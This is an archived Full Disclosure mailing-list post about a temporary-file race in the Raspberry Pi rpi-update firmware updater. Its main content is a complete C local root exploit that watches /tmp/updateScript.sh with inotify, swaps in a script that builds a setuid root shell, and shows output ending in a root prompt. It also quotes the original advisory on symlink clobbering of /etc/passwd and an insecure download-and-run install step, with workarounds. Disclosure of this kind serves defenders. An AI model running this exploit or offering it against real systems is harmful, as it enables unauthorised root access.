Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

Re: rpi-update tmpfile vulnerability
From: "Larry W. Cashdollar" <larry0 () me com>
Date: Wed, 06 Mar 2013 02:25:27 +0000 (GMT)


Hello everyone,

I took a closer look at this vulnerability here is my exploit to share:

45         cat > /tmp/updateScript.sh << EOF <-- if we own it first, wait for I_MODIFY and inject our malicious code
46         #!/bin/bash
47         if mv "${_tempFileName}" "$0"; then
48                 rm -- "\$0"
49                 exec env UPDATE_SELF=0 /bin/bash "$0" "${FW_REV}"
50         else
51                 echo " !!! Failed!"
52         fi
53 EOF
54
55 echo " *** Relaunching after update" 56 exec /bin/bash /tmp/updateScript.sh <-- just runs whatever is here


This will poop out a root prompt for you!

raspi-p0wn.c
----------------------------------------

/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion,  technion () lolware net

https://github.com/Hexxeh/rpi-update/


larry () pih0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh"
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh)
[+] Initialize inotify on /tmp/updateScript.sh
[+] Waiting for root to change perms on "updateScript.sh"
[+] Opening root shell (/tmp/sh)
# <-- Yay!


Larry W. Cashdollar
http://vapid.dhs.org
@_larry0

Greets to Vladz.
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/*Create a small c program to pop us a root shell*/
int create_nasty_shell(char *file) {
 char *s = "#!/bin/bash\n"
           "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
           "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
           "chmod 4755 /tmp/sh;\n";

 int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
 write(fd, s, strlen(s));
 close(fd);

 return 0;
}


int main(int argc, char **argv) {
 int fd, wd;
 char buf[1], *targetpath, *cmd,
      *evilsh = "/tmp/evil", *trash = "/tmp/trash";

 if (argc < 2) {
   printf("Usage: %s <target file> \n", argv[0]);
   return 1;
 }

 printf("[*] Launching attack against \"%s\"\n", argv[1]);

 printf("[+] Creating evil script (/tmp/evil)\n");
 create_nasty_shell(evilsh);

 targetpath = malloc(sizeof(argv[1]) + 32);
 cmd = malloc(sizeof(char) * 32);
 sprintf(targetpath, "/tmp/%s", argv[1]);
 sprintf(cmd,"/usr/bin/touch %s",targetpath);
 printf("[+] Creating target file (%s)\n",cmd);
 system(cmd);

 printf("[+] Initialize inotify on %s\n",targetpath);
 fd = inotify_init();
 wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

 printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]);
 syscall(SYS_read, fd, buf, 1);
 syscall(SYS_rename, targetpath,  trash);
 syscall(SYS_rename, evilsh, targetpath);

 inotify_rm_watch(fd, wd);

 printf("[+] Opening root shell (/tmp/sh)\n");
 sleep(2);
 system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

 return 0;
}

On Feb 28, 2013, at 04:19 PM, Technion <technion () lolware net> wrote:

Raspberry Pi Firmware Updater Vulnerability

Application:
https://github.com/Hexxeh/rpi-update/

Version Tested:
Gith´╗┐ub source as of 10ad1e975a (10th Feb commit)

Vulnerability #1:
A malicious user can clobber any file due to insecure tmp file handling.

Example:

Any unprivileged user can create the following symlink, either from
a shell account, or by malicious web content such as PHP scripts.
pi () raspberrypi ~ $ ln -s /etc/passwd /tmp/updateScript.sh

Once in place, the symlink is awaiting the administrator to run an update:
pi () raspberrypi ~ $ sudo rpi-update
...
pi () raspberrypi ~ $ cat /etc/passwd
#!/bin/bash
if mv "./testfile.sh.tmp" "./testfile.sh"; then
rm -- "$0"
exec env UPDATE_SELF=0 /bin/bash "./testfile.sh" ""
else
echo " !!! Failed!"
fi

As of this point, the pi is quite unusable due to the corrupted password database.
Note that the attacker cannot customise the content, for example, to set
a UID0 account.

Vulnerability #2:
The installation recommends the following command:
sudo wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update

Although the selfupdate functionality utilises SSL to ensure the integrity of the download, the installation process 
uses a URL shortening service without SSL to download the bash script, which the user is then encouraged to run as the 
root user.

Fix and Vendor Response
A pull request detailing exploit #1 and including a simple patch was submitted February 6th. The patch has not yet been 
accepted.

Workaround
By running rpi-update with the self update feature disabled, the affected code is not executed. Example:
sudo UPDATE_SELF=0 rpi-update

If you would like to update the application manually, or perform an initial installation safely, use the following 
commands:
wget https://github.com/Hexxeh/rpi-update/raw/master/rpi-update
sudo cp rpi-update /usr/bin/rpi-update && sudo chmod +x /usr/bin/rpi-update

Note that applying the patch in my pull request will not be a complete solution, as it will be reverted after the first 
automatic update.

technion () lolware net


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Re: rpi-update tmpfile vulnerability Larry W. Cashdollar (Mar 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]